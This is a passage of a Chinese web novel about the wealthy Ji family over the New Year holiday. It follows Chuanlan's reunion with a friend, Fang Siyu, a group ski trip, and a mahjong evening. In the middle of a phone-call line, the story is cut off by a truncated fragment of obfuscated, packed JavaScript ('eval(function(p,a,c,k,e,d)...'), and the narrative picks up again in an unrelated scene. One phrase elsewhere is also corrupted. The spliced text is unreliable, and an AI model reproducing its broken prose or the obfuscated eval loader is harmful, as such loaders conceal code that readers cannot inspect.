一会儿,传人闷闷地说了句知道了。 传岚留传人一人清净,自己则又下了楼去凑那个热闹。 “传人怎么这会才下来啊,你可错过你二叔唱歌了,快过来,要准备放烟花了。”方慧说。 传岚就那样望着传人,传人随即换了笑脸:“刚给老师同学发新年祝福呢。” 纪明仁起身笑着拍了拍传人的肩膀,“是要跟老师拜个年,做得好传人,懂礼貌,是我们纪家的好孩子。” 一边玩手机的纪月朗看着方慧龇牙咧嘴学话搞怪,方慧笑着点了点他的脑门。 零点的钟声还未响起,外面的烟花却早已按耐不住在神州大地上开满了花。 “这个年过完,我们就去离婚吧。”雨花看着窗外天空中迸发出的颗颗绚烂烟花,轻飘飘的说出了思虑已久的话。 “为什么,我爸妈已经回老家去了,以后没什么事不会再过来的。” 雨花扭过头,看着餐桌上有鱼有肉的饭菜,又看了眼手边摆着的多出来的小碗,终于,将目光落在了对面的男人脸上。 “张勇,你心里清楚,我们走不下去了,虽然你没有说出口,但我知道你心里是怪我的,而我,我也在怨你。” “我没有,我没有怪过你,我爸已经知道错了,他以后不会再过来了,我们以后过好自己的日子就好了。” “如果要以生命为代价才能换来你爸的认错改正,那未免太过沉重了。 “算了,不说这了,说了也没意思,就干脆点离了吧,大家彼此轻松点。” “我是不会离得。” “随你,离不离的也无所谓,反正我受够了,没想着再结婚,也不会从一个火坑跳到另一个火坑。 “过段时间我就搬出去了,以后没什么事就别联系了吧,大家心里都有刺,没有必要装轻松。” 这二人,像是在讨论明天吃什么一般,语气稀松平常到毫无波澜。 “菜是我炒的,就麻烦你洗下碗了。”说完,雨花就起身回屋了。 张勇看着满满一桌的饭菜,不明白哪一步走错了,他端起碗,挑了一筷子,还是跟之前一样的味道,一点也没变,只是,有些凉了,除了会影响口感外,没任何差别。 水煮鱼、蒜蓉蒸虾、红烧牛腩、红烧牛排、酱牛肉、红烧肉、酸辣鸡爪、蒜蓉金针菇、蒜拍黄瓜、清炒莴笋,张勇一个也没落下,一个也没偏颇,样样都吃到了,这都是他爱吃的菜,他想着雨花在厨房忙了好几个小时呢,不能浪费了,所以即使吃撑了他也没停下。 可是吃饭呢,是要细水长流慢慢吃的,今天吃几样好吃的,明天吃几样家常的,日子才能在期盼着吃好吃的愿景下慢慢过去。若是日日都好吃的一般伺候着,那便好吃的也不再好吃只是家常罢了,待到许久不吃再觉得是好吃的时候哐哐吃,必定是胃里肚里都不舒服。 张勇没忍住跑去卫生间吐了,他心疼一桌的饭菜就这样被自己吐掉浪费了,跪在那呜呜的哭嗷嗷的吐,酸臭的咀嚼物混杂着泪水鼻水一起流入马桶被冲走。 屋外,静谧的客厅里只留下一桌残羹剩饭,那整齐只留给了桌边静静放着的卡通小碗。 三天年一过,就是各种走亲戚,纪家住在一起的好处就是不用走亲戚,省了来回跑的麻烦,只是不见纪明仁轻松,他带着纪月庭纪月朗马不停蹄的四处拜年,访亲问友,忙的脚不沾地。 趁着他们回岳家走亲戚的时候,传岚和传人与乐清倒是组局飞去上海看了场不错的演出,吃了好吃的,要是在回来的路上没有碰见许久未见怒气冲冲的方思域就好了。 纪乐清:“停车。” 不等传岚和传人问出口,乐清就接着说,“我突然想吃冰激凌了,走,传岚,我们下去买来吃。” “我不吃,太凉了,对胃不好。” “哈哈,你怎么跟个老太太似得,吃一两个不要紧的,走啦走啦。” “嗳咦,我不吃,下去陪你买倒是可以,传人你吃吗?” “吃,帮我带一个,我就不下去了,蓝莓味的昂。” “老板,想吃的话,我下去买就好了,外面冷。” “不用张叔,你就开去前面好停车的位置等我们就好了,坐车太久,我们刚好走走活动下。” “好的。”张师傅听从指令开去前面可以临时停车的地方,熄火等候。 方思域看见纪传岚的时候很惊讶,他没想到居然能在这里碰到将热心肠帮助过他的恩人拉黑删除的人,方思域本来不欲理会这个忘恩负义的人,走到拐弯处却还是不甘心跑过去气冲冲的喊了纪传岚的名字。 纪传岚吓一跳,转身见是方思域,也没生气他的大嗓门,喜气洋洋的就打了个招呼,“哟,是你啊,你怎么也在这啊,好巧。” 方思域看着对方热情洋溢的打招呼,反而气势莫名一下弱了下去,大概是伸手不打笑脸人的缘故,自己也不好意思臭着脸。 “我陪我妈出来买点东西。” “哦,你早说也是这的人啊,原来咱还是老乡。” “说什么,您不是早把我拉黑删除了吗,我哪有那机会呐。” “?什么拉黑删除,你说我吗?” “不是你是谁,还能是我主动删除你的吗?” “胡说,我干嘛要删你,等我看下。”纪传岚将买的东西归拢到一起,腾出手拿出手机翻了好几遍确实没找到方思域的微信。 尴尬的挠挠头:“是不是你换头像了,我又没改备注,不小心删的?” “你又不是不识字,怎么可能。”方思域显然不相信这个理由。 “那我真不知道了,反正我没删你的印象,这样吧,一次是偶然,两次是缘分,在这有心熟人都见不到的茫茫人海里咱俩能再次相遇,那就是缘分,我加你啊。” “……” 纪传岚将手机又往前伸了点,眉毛上扬:“或者我扫你也行。” 方思域看着纪传岚真诚的表情,相信了可能是他的无心之失,拿出手机扫码的同时再次确认,“真是不小心删的吗,你要是讨厌我就早点说,也不用费这面子功夫加我。” “我是那样的人吗,真讨厌就不会加了,放心哈。”纪传岚看着通过的信息随手就改了备注。 “这谁啊传岚,你男朋友啊?”乐清提着一堆小玩意过来。 “怎么又买这么多啊二姐,不是就过来吃个冰激凌的吗?” “好久没这么轻松逛街了,一不小心就都买了,你还没跟我说这谁呢。” “哦,这是我在美国读研认识的朋友,这是我二姐。” “二姐好,我叫方思域。” “哈哈,叫什么二姐,叫我乐清就好了,大家年纪都差不多,互称名号吧。” “那怎么着,你们是准备再逛会还是有别的计划?” “没有,就碰到打个招呼,时间也不早了,待会回去还要吃饭呢。” “OK,那就走吧,你们改天再约啊帅哥,今天我们就先回了。” 几人道别后,站在远处的妇女才缓缓走过来,“女朋友?” “说什么呢,就一朋友,碰到了打个招呼而已。” “急着撇清干嘛,我又不反对你交朋友,这个年纪找对象不是很正常的事吗?你不找我才愁呢。” “走啦,真是,你瞎操心什么呀,这鸡蛋上不长毛的事,都哪跟哪啊。” 纪乐清挂掉电话,放倒座位,躺下去闭目养神。 “明天干什么呢,黎姐催我回去复工了,我只剩两天假期了。” “明天啊,还不知道呢。”传岚搭话。 “就这么点假,月清姐你这明星当的也不怎么样嘛,一点自由没有。”传人吃着冰激凌随口就说了出来。 “要自由还不简单,今天一辞职,明天立马自由,但你能背负这种自由带来的代价吗传人,反正我不能,当然你还小,不懂工作给人带来的价值。” “工作不就是换取酬劳的一种方式吗,我怎么不懂。” “对我来说,这不仅仅是一份工作,我喜欢唱歌并享受这种状态,现在有活干那我就要都接着,谁知道哪天就没活了呢。 “自由,是相对的,某种意义上来讲,我很自由。” “哦,是因为做的都是自己喜欢做的事,所以很自由吗?” “是啊,不喜欢的事我也不会去做。” “明天去老君山怎么样,我看网上说蛮好的,我查了下天气,有可能看到日照金山。”传岚一时也没想到其他想去的地方,刚好刷到老君山的视频,就提了出来。 “可以啊,户外活动也很不错,张叔,待会回去的时候跟宋管家说下,让他出一份详细的计划,顺便把行程安排好传我。” “好的老板。” 三人回到家简单吃了点都上楼歇着了,传岚躺了会没有睡意便准备下楼溜达溜达喝点水。 “有毛病吧,这种事不提早说,现在才说,还出一份详细计划,这不要时间啊,也不知道还有没有酒店,我去哪给他们看啊,真是讨人厌。” “行了,少说两句,咱挣得不就是这个钱嘛,要是人家没要求不需要我们,我们才难搞嘞。” “真是烦人,一到过年就忙的要死,一大群人,哪伺候的过来,要我说,这搬都搬出去了,就在外面过年好了,家里也没个老人,还每次都回来干嘛,也不嫌麻烦。” “这倒是,说是这边平时住的人少,人太多没事干,这两年陆续已经辞了好几个了,但每逢年节,还不是劳累我们,也就除了跟过去的张巧丽能过来帮点忙,剩下的都是等着伺候的,倒真不如各过各的好。” “谁说不是呢,我这几天光是忙着整理检查大小纪总要送的礼就够呛了,白日里还要应付这个应付那个的,你说我还哪有那时间做这闲事,这不是给人添麻烦嘛。” “来,宋管家,喝杯果汁消消气,刚榨的,还新鲜着呢。” 宋知意接过果汁:“我也不是嫌麻烦不想做,主要是这两天真的忙,你说他们哪没去过啊,这周边国家恐怕都飞了个遍吧,怎么又突然想起来去老君山了,国内人这么多,又赶上过年这个点,能有什么好体验,真搞不懂他们怎么想的。” “说是刷视频刷到老君山的日照金山好看,就想去了,但谁知道呢,说不定就是想体验下人挤人。” “哈,有钱人的想法真是想一出是一出,算了,我也懒得管他们怎么想,赶紧查下攻略随便出个计划扔出去得了。” 传岚听了听,觉得没什么意思,也不想过去厨房那里互相闹个不好看,谁都有抱怨的权利,便由他们去了,自己则拐去旁边的客厅倒了杯冷茶喝。 传岚觉得他们说的对,其实也没那个必要非得聚在一起过年。 但是,谁管呢,反正传岚又无所谓在哪过年,自然,他才不会在意谁有什么想法。愿意敷衍给个好脸呢,就尽量敷衍下,不愿意敷衍呢,自然有不用敷衍的态度跟说法。 喝完水,传岚清了清嗓子,收拾上楼去了,路过厨房的时候,窸窸窣窣的声音也没了。 传岚一行人本来都出发在路上了,结果乐清接了黎姐的电话后又说不去了,为了不耽误乐清的行程,大家又折返回去。 “抱歉啊传岚,我这边临时有事推不了,其实真的,我可以自己打车回去的,你和传人过去玩就好了,反正酒店什么的都订好了,玩起来也便宜。” “没事乐清姐,一起回去吧,你一个人也不好打车,我们什么时候想玩再过去了,反正时间上又方便。” “那我跟宋管家说下把房退了。” “房也不用退,我有朋友在那玩,刚好之前有事是他帮的忙,我问下他要不要住。” “好啊,那我就不操心了,你看着办就好。” 乐清既早早过去复工,那传岚二人再待在老宅也觉无趣,便打了招呼带着张嫂先回医馆那边去了,明礼虽说自己怎样都行,却耐不住方慧硬要留他一起去拜访故人。 明礼也就简单嘱托了二人,说是过两日再回去。 距离年假还有两三天的时间,想想还是找点事做的好,便打电话叫了卓雅容巧他们几个去滑雪。 几人在家里也呆的无聊,不愿总待家里与亲戚们虚伪攀扯些婚嫁的话题,这边有人牵头,便一呼百应的应承着出来了。 “哇呼,终于出来了,你是不知道啊传岚,我这几天在家待得有多痛苦,我爸妈搁我跟前天天念叨让我找对象,还有那些亲戚真是没话说啊,凑到一起就是劝人找对象和跟别人比工资,叽叽喳喳说个不停啊,我感觉我像是被一群鸭子包围了。”卓雅抱着传岚就是一顿控诉。 “好啦,你也真是,一见面就开始折磨传岚了是吧,赶紧撒开啦,多大的人了。”容巧掰开了紧紧箍住传岚的卓雅的铁手。 “辛苦雅雅姐了,今天就好好玩玩释放下压力怒气吧。”传岚摸了摸又挂在自己身上的卓雅的头。 这边还在打打闹闹,那边舒华才到,看见大家,一路小跑着过来。 “抱歉啊,打车废了点时间,没迟到很久吧。”舒华停下大口喘气,额头还冒了点细汗。 “早说跟我们一起过来啦,有人开车,我们几个也坐得下。”卓雅走过来说。 传岚掏出包手帕纸递过去:“擦下汗,我们也刚到没多久,先去去汗,别待会进去感冒了。” 舒华道了声谢,笑着说:“没事,我打车过来也是一样的,打车方便。这还是我第一次滑雪呢,本来不好意思答应过来的,但一想尝试下新鲜事物也是好的,就抱着学习的心态过来了,待会你们谁会可要教教我。” “放心,我也不会,我也是来凑热闹的。”容巧走过来安慰道。 “嘻嘻,我也不会。”卓雅蹦起来附和。 “你不是来过好几次了吗,还没学会吗?”传岚问在那嘻嘻哈哈的卓雅,卓雅笑说,“就会一点皮毛,能自己溜个几米远,四舍五入算不会啦。” 孙立德说:“你真是高看他,他来雪场又不奔着学滑雪来的,就是觉得新奇好玩就过来了,根本没认真学。” “说得好像你学会了,很会滑一样,既然看不起我,待会给我们大家表演表演,施展下你的才艺啊。”卓雅呛回去。 “你们经常来滑雪啊。”舒华问容巧,容巧说,“也没有经常,就来过几次,传岚姑姑,就是纪明礼纪教授,他喜欢滑雪,在这办了卡,但是医院不让在职医生玩滑雪这种高危活动,传岚觉得放着浪费,就带我们来过几次。” “一张卡可以带这么多人吗?”舒华不解问道,容巧继续回道:“纪教授办的卡是扣次数的,人多多扣几次也是一样的。”舒华听罢点头表示了解,虽然有搜过套餐价格和内容,没有看见这种包次数的卡,但也没有继续发问,只当套餐取消变化了。 “传人呢,怎么没带传人出来?”赵鹏飞出声问道。 “他在家复习功课呢,传人现在只处于关键时期,不能参与这种危险的活动,考完再带他过来吧。” “那就,我跟舒华一组,顺便教下他,孙立德和容巧一组,赵鹏飞和卓雅一组,大家滑的时候,会的稍微分神看顾下不会的,滑的时候注意安全,四点半我们原地集合,收拾去吃晚饭哈,没问题大家就先解散吧,先都去寄存下东西,向师兄麻烦你带他们拿下装备。” 说完,赵鹏飞领着大家去租赁购买各自需要的物品。 “你跟着赵鹏飞去,待会我来找你们。”传岚见舒华有些踌躇,直接说明。 “那你呢,需要我帮你也拿装备吗?” “哈哈,传岚不需要租啦,他经常滑雪的,有自己的装备,我们这偶尔来一两次的,还是租的划算,走啦,你跟我们是一起的。”卓雅带了点戏谑的语调解释道,传岚笑着说,“你跟他们先过去,我待会就过来。” 话说方思域那天听了纪传岚的解释,也就不再计较之前的事了,只是重新有了联系方式,也不见对方发送一条讯息,左思右想,又生出纪传岚在撒谎欺瞒自己的怀疑,刚巧刷到对方去滑雪的朋友圈,真是气极,心想,“既然是朋友,怎么滑雪不叫自己,这是朋友的做法吗?”正想着,发小唐毅打来了电话。 “喂,哦,是你啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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舒华学得很快,不一会就已经基本掌握了滑雪的基础内容,还学会了换刃,虽说遇到陡坡,速度一快就会横板降速推坡,但基于第一次学习来说,已经相当不错了,传岚也没有要求太多,就让他自己巩固消化刚才学到的东西,多滑几遍,熟练了自然就敢放开滑了。 舒华自己也很高兴,首次就学到这些已经远超自己的预期了,便让传岚自己去痛快滑自己的,不用再管他,传岚应了好便换道去滑自己的。 卓雅那妮还是跟之前几次一样在划水,赵鹏飞刚开始还想着认真教他,可都被卓雅敷衍打发走了,现在基本各滑各的。放眼望去,容巧竟也是一个人在不远处滑,原来是孙立德自己也不会太多,加之不会教学,两人越学越着急,一时起了分歧,孙立德挠挠头撇下一句“我也不会,要不你去找传岚他吧。”直接逃跑了。 于是,因各种原因凑到一起的滑雪初学者三人组相聚在此,倚立在雪道边角位置,手拉手地慢慢滑行,互相分享学到的经验以及归纳的败因。 半个小时后,三人开始以摆拍各种耍酷的照片来作为结束今天滑雪的尾声。 传岚在中级道滑了个把小时,人渐渐多了后滑的就没有那么畅快了,随即转道去了高级道。传岚高级道滑的少,但并非不能在高级道滑,只是想降低可能会摔伤的风险。 待到大家汇合吃饭的时候,等菜间隙,传岚见舒华三人低头修图,才意识到自己一时玩的高兴,竟忘记拍照了,这下没有发圈的图片了。 传岚凑过去,只见舒华修图就是用手机里自带的一键美颜功能,省事又有效,他把拍的十几张照片全部按此功能操作一番然后再选两张最好看的,现在正纠结选哪几张呢。旁边的卓雅和容巧技术则比较高超,他们是在修图软件上修图的,并没有一味地强调肤白,而是选择了扬长避短的适当调整。 坐舒华右手边的容巧修完自己的,看舒华还在纠结,就说:“要不要我帮你修下,我修图还可以,你要是放心的话,可以发我原图。” 手残的舒华巴不得有人能帮自己修呢,以前自己也试过调参数什么的,但是都没有手感,每次调出来的图片都很怪异,一点也不和谐,听到容巧主动开口,激动的不行,马上就传了几张原图过去:“谢谢你啊容巧,你放心大胆的修,怎么都比我修的好看。” 传岚和舒华凑到一起看容巧修图,只见容巧手指灵活的将画面一会放大一会缩小,那些路人就与背后的景物融为一体了,舒华不禁感叹道,“好厉害。对,把我颧骨修一下,我颧骨有点高。” 容巧边修边说:“你这颧骨虽然有点高,但你眼睛大,皮肤白啊还是双眼皮,脸部整体很协调,稍微修一下,也不能修太狠,不然会失真。” 传岚看着酷帅的照片,酸酸地说,“你们什么时候拍的,怎么没通知我给我也拍两张?” 坐旁边的舒华笑着接话:“当时是想给你拍的,只是我们没找着你。” 卓雅听见两人对话,头伸过来说:“我猜他肯定一高兴跑去高级道滑了,在初级道滑是委屈他谦让我们。” 舒华听罢,想着是为教自己,才让传岚在初级道浪费了好多时间,略带不好意思地笑说:“那是我的原因,传岚为教我,才害他没滑好。” 传岚喝口水,笑说:“舒华今天是没涂防晒吗,什么时候这样黑了?” 舒华“啊”了一声忙打开手机的自拍功能,只见和昨日一样并没晒黑。 众人还处在疑惑发懵的状态里,传岚又不紧不慢地抛出一句:“是不是因为卓雅的缘故啊。” 卓雅口快问道:“嗯?他黑关我什么事啊?我又不是太阳。” 传岚笑说:“怎么不关你事,你没听过‘近朱者赤近墨者黑’吗,就是因为你太黑了,搞得舒华都跟你学坏了,说话还一调一调的。” 众人听罢反应过来也是表情不一,有逗笑的,有尬笑的,还有哭笑不得的。虽是没有马上就领会的冷笑话,但是作弄卓雅的话儿,大家也都恶作剧的附和了几句。 卓雅持有不同意见:“他跟我学又没坏处,说话也是一种学问,你说对不对舒华?”,舒华习惯性附和,“你说的对。” 卓雅继续说道:“有时候对方大方不代表我们就能也不拘小节地省略掉客气或礼貌。什么时候该谦虚有礼,什么时候该不拘小节,那也是有说法看时机的,只有这样,大家才能长久相处下去。” 舒华无比赞同卓雅的话,对比相熟已久的卓雅他们,自己才与传岚相识不久,经济不对等的交往,当然可以有传岚卓雅他们那样的大方相处之道,但初始之时,怀着谦虚有礼的态度总是不会出错的万能之法,虽然喜欢这样的朋友,但也不能操之过急,还得徐徐图之,慢慢经营发展的好。 传岚笑说:“好啦,你歪理一大堆,我说不过你。” “什么歪理,明明就是很有道理。”卓雅得意。 “哈哈,好吧,你说的有道理,收拾吃饭吧,菜都上来了,赵鹏飞他俩呢?”传岚饿了,这俩人还不过来。 “是啊,不是说就去挪个车吗,怎么这么久,我打个电话问下。”容巧有点担心。 正接通电话,没说两句,就看见那俩人一前一后过来了。 俩人走到跟前才坐下,传岚就看见方思域从后面像变戏法一样冒了出来,跟在后面的还有一个不认识的男的。 “哟,好巧啊,在这都能碰到你,你也在这吃饭?”方思域自来熟地从旁边搬来椅子坐下,也不管唐毅,唐毅看了眼方思域,默默无声地在旁边坐下了。 传岚看着眼前的不速之客,笑回:“是挺巧的,你也来滑雪吗,怎么之前没碰见你,你是在哪滑的。” “我们才到不久,打算先吃个饭再说,你们这好热闹啊,要不拼个桌一起吃算了,也省的我们再纠结吃什么,你看方便吗。 “但是我看你朋友不想凑这个热闹吧,你真的要跟我们一起吃吗?”传岚看了眼坐旁边安静玩手机的男生。 “他不挑的,人多热闹嘛,你说是不是啊唐毅。” “我都可以,看你。”唐毅收起手机,仰靠在椅背上,长手长脚交错相握,偏头看了俩人一眼,露出耐人寻味的笑容回到。 传岚见对方如此,也不好再直言拒绝,便询问了其他小伙伴,众人皆无异议,便招呼服务员新添了几道菜。 几个年轻人似乎相处的很愉快,尤其是几个男生说着说着还打算待会再去滑夜场,这让原本计划明天下午就返程的计划推迟到了后天。 “你学法律的,我们学医的,都是牛马啊,来加个微信,万一以后有个有个什么需要,咨询费算我便宜点啊思域。”孙立德拿出手机就要扫码。 “承蒙看得起,大家找我咨询都免费,那以后看病可算是有人了,再也不用担心受怕天天跑医院了。” “小毛病找我们还好,真不舒服,该去医院还是得去医院啊,不能讳疾忌医啊。”赵鹏飞严谨而郑重说道。 “就是些小毛病,这平时不注意有个什么不疼不痒的症状,我们也不懂,去百度呢,一不小心就癌症,要天天跑医院去看呢,一是太费事,二是真去检查反而没什么事,但你要说放着不管,这心里又不落忍,总觉得不放心,一直记挂着。这专业壁垒在这,还真得有几个学医的朋友才好。”方思域回道。 “听你这么说,这学法律的和学医的这么适配啊,要是我去再学个法,那岂不是无敌了。”卓雅饶有兴趣地接话。 “也不是不能,医法双修,天才啊,你看,你懂法就不怕医闹,你会医就不怕被威胁,人生就是不是怕这就是怕那,但你医法双修,既不怕这,也不怕那,简直就是无敌啊。”方思域笑说。 “哈哈,想想确实是这样啊,我们当医生的最怕的不就是医闹嘛,要是懂法的话,就不用受制于人了。” “我们会受制于人单单是因为不懂法吗雅雅姐?” “那不然呢?” “是因为不懂人心啊。” 坐在旁边听方思域侃侃而谈唠个不停的唐毅在听见纪传岚这句话时微微侧目,在场的几人,赵鹏飞木讷,孙立德轻浮,那个叫卓雅的急性子,还有坐里面的容巧老好人,舒华迂讷,还有方思域惦念着的这个纪传岚,看着也像是个两面光。 唐毅面上笑呵呵的虽不显,心里却是给这几人都打了低分,并没有想要主动结交的意愿。 若是没听到纪传岚这句话,他对纪传岚的印象大概就停留定格在见面时的初印象里了。 是的,医闹不是最可怕的,人心才是最可怕的,唐毅跟着自家老爹这么多年所学的一切,都不过围绕“人心”二字。 学习如何看透人心,如何笼络人心,如何利用人心。 但马上,唐毅又熄灭了对纪传岚的兴趣,因为他说“这倒也是。” “这谁能懂啊,我家猫咪都养八年了,一天对话八百遍,我还是不懂它在想什么,更何况不说真话会撒谎的人呢。” “这倒也是。”传岚附和。 俗,太俗了,纪传岚不仅俗,还没底线没原则,说话说一半,就被别人随口两句牵着走了,唐毅宁可自己想多了也不愿意相信自己刚才竟会对他感兴趣。 饭毕,传岚结账,两拨人关于买单拉扯了一会,最终传岚以自己阵营人多为由买了单,唐毅意思方思域将两人的份转账过去,众人又嬉笑谦让了会,于是就晚上吃宵夜或者其他费用由方思域负责买单达成一致而结束了费用这个问题。 “待会夜场,你去不去啊?”方思域扭头问旁边的传岚。 “不去,下午滑好了,再去明天要起不来了。” “那待会去消消食?” “你丢下朋友找我消食不太好吧。” “没事,我这朋友就喜欢安静,他一个人呆着更自在些。” 唐毅意味深明的看了一眼方思域,翩翩有礼地笑着说:“是啊,你们待会去活动吧,我刚好开车有点累,先去休息,夜场我就不参加了。” 传岚也没拆穿方思域前后矛盾的话,爱凑热闹也不是什么大问题,想了想说:“主要周边也没个什么好玩的,要不干脆去看下有没有棋牌室,去搓两把麻将算了,前几天在家玩的还可以。” “你还会打麻将啊,真厉害。”方思域很是捧场。 “这有什么不会的,很好学啊,国□□动,大家都会吧。” “我不会。”舒华举起手弱弱说道。 “没事,特简单,到时候跟你说下规则来两盘,保准你立马学会。”卓雅说。 “先看下有没有棋牌室,没有的话买几副牌玩也是一样的。”舒华说着就打算掏出手机查查。 “有的,就在酒店旁边,说起来我们酒店里也有带麻将的套房。”早已查好信息的赵鹏飞出声回到。 “那就去棋牌室吧,我们人多,开两桌。” 除了唐毅,众人浩浩荡荡的朝着棋牌室出发了。 9. 志愿风波,纵是有心口难开 几人包了大间,玩的倒是挺好,期间大家各自都有输有赢,但总的来说,传岚赢得多输得少,孙立德也小赢几把,倒是方思域与卓雅输得多些,不过这种东西,牌技是一回事,运气又是一回事,不能一概而论。 “看来今天财神位在我这啊,运气蛮好,你还继续吗雅雅姐,我可要提醒你,你输不少呢。”传岚打的蛮开心,甚至有点淘气的戏谑卓雅。 “打啊,怎么不打,你可别想赢了就跑啊,我总要回个本才行啊。” “我当然可以继续陪你玩啦,不过不能上头嗳,俗话说,‘小赌怡情,大赌伤身’,我可不想因为这个就伤到我们之间的感情。” “哈哈,你不打才是伤到我的感情了呢,放心,过年收到红包了,够我再玩十来把了。” “你都多大了还有红包收,这个年纪都应该给爸妈钱了吧。”孙立德盯着麻将打出一张,头也没抬来了句。 “我一个独生女,我爸妈不给我给谁啊,怎么你羡慕啊,羡慕让你爸妈给你包啊。” “我羡慕你?哼,可笑,我羡慕你干什么,羡慕你这么大年纪还啃老嘛?” “怎么,说的这么义正辞言,你给你爸妈发了多少啊,说出来大家学习学习啊。” “不多,也就一人五千,比不得你,一人吃饱全家不饿,不用孝敬父母还有的倒贴。” “那是,我爸妈疼我,看不得我辛苦,再说了,我的钱就是我爸妈的,我爸妈的钱自然也就是我的,我们钱都放一起,自然不用我额外孝敬。” “哼,强词夺理,胡了。” “嗳,孙立德你诚心跟我过不去是不是,那方思域刚才不是打了五条吗,你怎么不糊他就糊我。” “不好意思啊,没盯住,给钱吧大小姐。” “不行,要换个玩法,我老是点炮这哪输得起啊。” “你来坐我这个位置,这个位置牌好些。”传岚起身。 “那你坐我这,刚好换换位置,分我点好运气。”卓雅扫完码,立马就站了起来。 “我歇会,待会再来,顺便出去买几杯喝的。” “那我也去。”方思域也站起来。 “好的,帮我带杯热牛奶就好了,容巧、舒华、赵鹏飞你们仨谁过来俩个啊。” “我。”容巧和舒华齐声应道,于是那边三人散了局,一起过来这边重开。 从棋牌室出来,乍然还有点冷,传岚紧了紧衣服。 方思域哈了口气,走在传岚边上:“我听孟伟说你后面又找过他。” “是啊,怎么了。” “没什么,就是听说你突然就回国了,我还以为你有什么事。” “没什么事啊,就是有朋友要回去,刚好事情都处理完了,就一起买票回去了,也不算突然吧。” “哦,跟朋友一起回的啊,那年后你们一起过去也带我一起,你们打算什么时候过去啊?” “我不过去了,我已经拿到毕业证了。” “这么快,我还以为跟我一样要明年六月呢。” “我赶到十二月份就办好了,你知道的,在那呆久了,比较想念国内的饭菜。” “我懂,相比西餐,我也更喜欢中餐一些。”方思域说完又感叹道,“我要一直待到到六月份呢。” “很快的,一眨眼就过了,对了,你过去的时候帮我向孟伟带个好,估计没事以后就不过去了。” 方思域话虽多,但传岚似乎却只是问什么聊什么,并没有主动延伸话题,这使得方思域几句下来就哑了火,不知道还能再说些什么。 “对了,听孙立德说你现在在医馆实习。” “对。” “当时问你,你说对心理学感兴趣,我还以为你会从事心理相关的工作,没想到又返回去了啊。” “本来是要去上海的,但是家里死活不同意,说没我不行,非要我留下来继承家业,我也没法,你知道的,这种事不好闹太狠,就同意留下来了,当然,也是怕万一以后在外面混不好,到时候没饭吃没人接济。” “继承家业?据我所知,六艾现在不是由你大伯和二叔在经营吗,纪月庭也在里面好多年了,要继承也轮不到你吧。” “你对我家了解很深嘛,这都知道。”走到店门口,传岚看着方思域露出深深的笑意说道。 “嗐,这能百度到的信息算得上什么。” “这姓纪的虽然在本地算不上大姓,但细数起来人也不少,你怎么就能确定我是六艾纪家的呢?” “姓纪的不少,但有名的不多,能留的起学,一部手机随便七八千,坏了不修直接换的纪家,本地也不多,还有,你随手扔的那个手机挂件,我没记错的话,是爱马仕的吧。” “是吗,你倒是挺细心,还都能留意到,可是留学又用不了几个钱,一般有点眼光的中产家庭都做得到,也算不上什么 吧,爱马仕的挂件也可以淘二手的。你好,再要两杯热牛奶,两杯热的香草奶茶。” “光靠这些确实猜不出来,我是上次在商场碰到你跟你二姐才知道的,唐毅妹妹最近在粉你二姐,我从他那了解的。” “哦,既然是从我二姐那知道的,何必还绕这么大圈子,我当你是神探呢,在那分析半天。 “走吧,汇合了收拾收拾得洗漱休息了。” “聊天嘛,不就是东拉西扯随便说说。”方思域拿好喝的跟着一起出去。 “虽然没人要我继承六艾,但还有间小医馆,怎么不算继承呢。 “你说查得到的信息算不了什么,那什么样的信息算是查不到的呢?” “没有什么信息是查不到的,即便是没有放在明面上的东西,只有你有心,也是可以查到的,当然,有心的基础上还得你有这个人脉和能力。” 传岚若有所思,拖着尾音意味深长地嗯了一声。 说是先去酒店休息的唐毅,在几人分道扬镳后却径直去了滑雪场。 唐毅与方思域能成为朋友皆是因为唐毅的父亲与思域的舅舅两人是大学同学,关系颇好,连带着两人的小辈也延续了这种友情。也正是这种从小长到大的情分,才能使得唐毅在方思域丢下自己跟别的朋友跑掉时却不感到生气。 唐毅在回酒店的路上想起之前的事,不觉好笑,怪不得好端端的突然想来滑雪。俩人兴起过来已经到吃晚饭的时候了,本来说好去吃烧烤,但方思域只在里面转了一圈就出来了,问他想吃什么,又说不出来想吃什么,却还要一家一家饭店进去瞧瞧,得亏是这附近吃的地方不多,不然唐毅还真怕方思域犯轴。 后来不知怎么,碰见两个出来挪车的人,无头苍蝇乱转的思域一下就决定好吃什么了,跟着两人前后脚进了餐厅,待碰巧见到他的熟人时,唐毅才知道方思域绕好大一圈,竟是将自己当做了工具人。 唐毅远远望见几人提着喝的有说有笑朝酒店走去,脚步不觉加快。方思域有所感应般朝后看了眼,见是唐毅,热情的招手喊叫他的名字,一如过往,听见方思域的喊叫,身边的人也纷纷转身驻足一起等他。 “你们玩好了?”走上前来的唐毅笑着问大家。方思域一把揽住唐毅的肩膀,“玩好了,这么晚你去哪了?” “刚歇了会,想着来都来了,就去夜场凑了个热闹滑了几圈。”唐毅并不瞒他。 方思域又问: “夜场人多吗?” 唐毅:“不多。” “那到挺适合滑的,我们打算回去的时候顺路去泡温泉,算你一个,走吧,今天早点休息,明天八点就要出发了。” “泡温泉,可以啊,刚好可以暖和暖和。”唐毅就这样被簇拥在中心位置推着进了酒店。 “传人,早点收拾睡了,不熬太晚知道了没。”纪明礼听客厅里冰箱开关的声音就知道传人刚才说的马上就睡是托词,开门出来,果然见传人拖着拖鞋,手里是喝了半瓶的水。 “怎么喝冰水,不是有热水吗,大晚上的喝冰水肠胃不好,况且现在还是冬天,过来,喝点热水暖一暖胃。” “不知道怎么回事,就想喝点冰水,感觉热水喝的不过瘾。”传人过来坐下。 “晚上跟同学去吃什么了,给,少喝几口,晚上喝多了要起夜。”明礼兑好温水递过来。 传人接过:“吃的川菜,味道挺好的,下次我们和大姐一起过去。” 明礼坐下,“那就是了,估计是晚上吃的太辣太咸了,以后还是要少吃点这种重口味的菜,多吃点清淡的,尤其是晚上,吃的不对,对肠胃负担很重的,你现在年轻,感觉不到什么,等你年纪大点,都不用五六十,二十七八岁,身体机能就已经滑到下一个层次了,我听我们同事说,现在年轻人就医比例比以前大幅增长了许多呢,多多少少都有些毛病,你也不要仗着年轻就透支自己的身体。” “我最近也就吃了这一顿,应该还好吧。” “偶尔吃一两次倒也没什么关系,姑姑跟你说这,也不是不让你吃,是要你有个了解心里有个数,要你有计划有节制的吃,还有,吃了重盐重油的菜,一定要记得早早的多喝水,对了,再吃两颗维生素。”明礼说完起身翻出医药箱,找到一瓶维生素。 